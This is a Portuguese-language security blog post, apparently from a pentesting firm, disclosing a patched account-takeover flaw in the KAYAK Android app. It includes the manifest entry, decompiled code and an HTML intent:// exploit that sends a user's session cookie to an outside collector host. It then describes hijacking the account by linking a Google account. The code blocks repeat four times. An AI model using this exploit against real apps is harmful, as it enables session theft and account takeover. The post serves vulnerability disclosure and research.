Índice

Título
Índice
Índice
Título

Ataques

Tomada de conta no KAYAK: o próprio aplicativo está me entregando o cookie?

cover-account-takeover-kayak
Carlos Bello

Pesquisador de segurança

4 min

Enquanto pesquisava vulnerabilidades zero-day em aplicativos móveis, descobri que é possível roubar o cookie de sessão de um usuário por meio de um deeplink malicioso no KAYAK v161.1. A seguir, explico essa vulnerabilidade em detalhes: onde ela está localizada no código e quais passos são necessários para replicar o exploit.

Onde está essa vulnerabilidade?

Encontrei a seguinte atividade exportada no arquivo AndroidManifest.xml:

<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>

Isso significa que qualquer aplicativo instalado em um dispositivo móvel com essa versão vulnerável do KAYAK pode interagir com essa atividade. Além disso, essa atividade pode ser chamada a partir de um deeplink e aceita intents implícitos.

External Auth Logi nActivity

Ao perceber isso, fui imediatamente até a atividade exportada para ver o que ela fazia e como fazia. Enquanto analisava e lia o código-fonte, encontrei duas funções bem chamativas:

 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }
 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }
 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }
 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }

Como a atividade está exportada, uma página web maliciosa por meio de um deeplink, ou um aplicativo móvel malicioso por meio de um intent, poderia configurar uma RedirectUrl maliciosa usando a função getRedirectUrl. Certo, mas para que isso tenha impacto, precisamos ver o que podemos fazer com esse comportamento.

É aí que entra o método launchCustomTabs, que, como vemos, concatena um parâmetro GET à URL. Esse parâmetro GET é o cookie de sessão do usuário do aplicativo móvel:

public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}
public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}
public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}
public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}
public static final String SESSION_COOKIE_NAME = "p1.med.sid";
public static final String SESSION_COOKIE_NAME = "p1.med.sid";
public static final String SESSION_COOKIE_NAME = "p1.med.sid";
public static final String SESSION_COOKIE_NAME = "p1.med.sid";

Com isso em mente, não hesitei em fazer login no aplicativo web e apagar todos os cookies para chegar a uma solicitação como a seguinte:





Subi o exploit para um servidor malicioso:

<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>
<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>
<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>
<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>

Depois, abri esse link a partir do aplicativo móvel. Ao verificar os registros do servidor malicioso, vi como o cookie de sessão da minha conta foi vazado. Então o copiei e o coloquei na solicitação que mostrei acima





POC de tomada de conta

Abaixo, um vídeo que demonstra a exploração dessa vulnerabilidade:

Problemas e mais problemas: vinculação de contas

Descobri que, depois de roubar o cookie da vítima e fazer login no aplicativo web com ele, consigo ver os dados da vítima sem nenhum problema. No entanto, por algum motivo estranho, não consigo editá-los. Por isso, ao investigar o aplicativo web, percebi que um atacante poderia obter acesso total à conta —e então visualizar, editar, excluir informações etc.— apenas vinculando uma conta do Google (ou qualquer outro provedor disponível).

Nesse caso, vinculei uma conta do Google correspondente ao atacante à conta da vítima. O objetivo era que o atacante só precisasse fazer login no aplicativo a partir da sua conta do Google para obter acesso à conta da vítima.

Pronto. Um atacante remoto e não autenticado pode roubar a conta de qualquer vítima que esteja com a sessão iniciada no aplicativo móvel do KAYAK para Android com um ataque de um clique.

Cronologia

12 de agosto de 2022

  • Vulnerabilidade reportada: controle de acesso inadequado (CVSS: 9.3; crítica).

  • Vulnerabilidade triada.

13 de agosto de 2022

  • Vulnerabilidade corrigida.

  • KAYAK v161.2 (10048) disponível na Play Store.

Comece agora com o PTaaS da Fluid Attacks

Tags:

vulnerabilidade

hacking

exploit

software

codigo

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Reduza o risco sem atrasar suas entregas

Reduza o risco sem atrasar suas entregas

Resultados rápidos e precisos a partir de um único programa de segurança contínuo impulsionado por IA, scanners e pentesters.

Resultados rápidos e precisos a partir de um único programa de segurança contínuo impulsionado por IA, scanners e pentesters.

Previna

Previna

Previna

Detecte

Detecte

Detecte

Gerencie

Gerencie

Gerencie

Corrija

Corrija

Corrija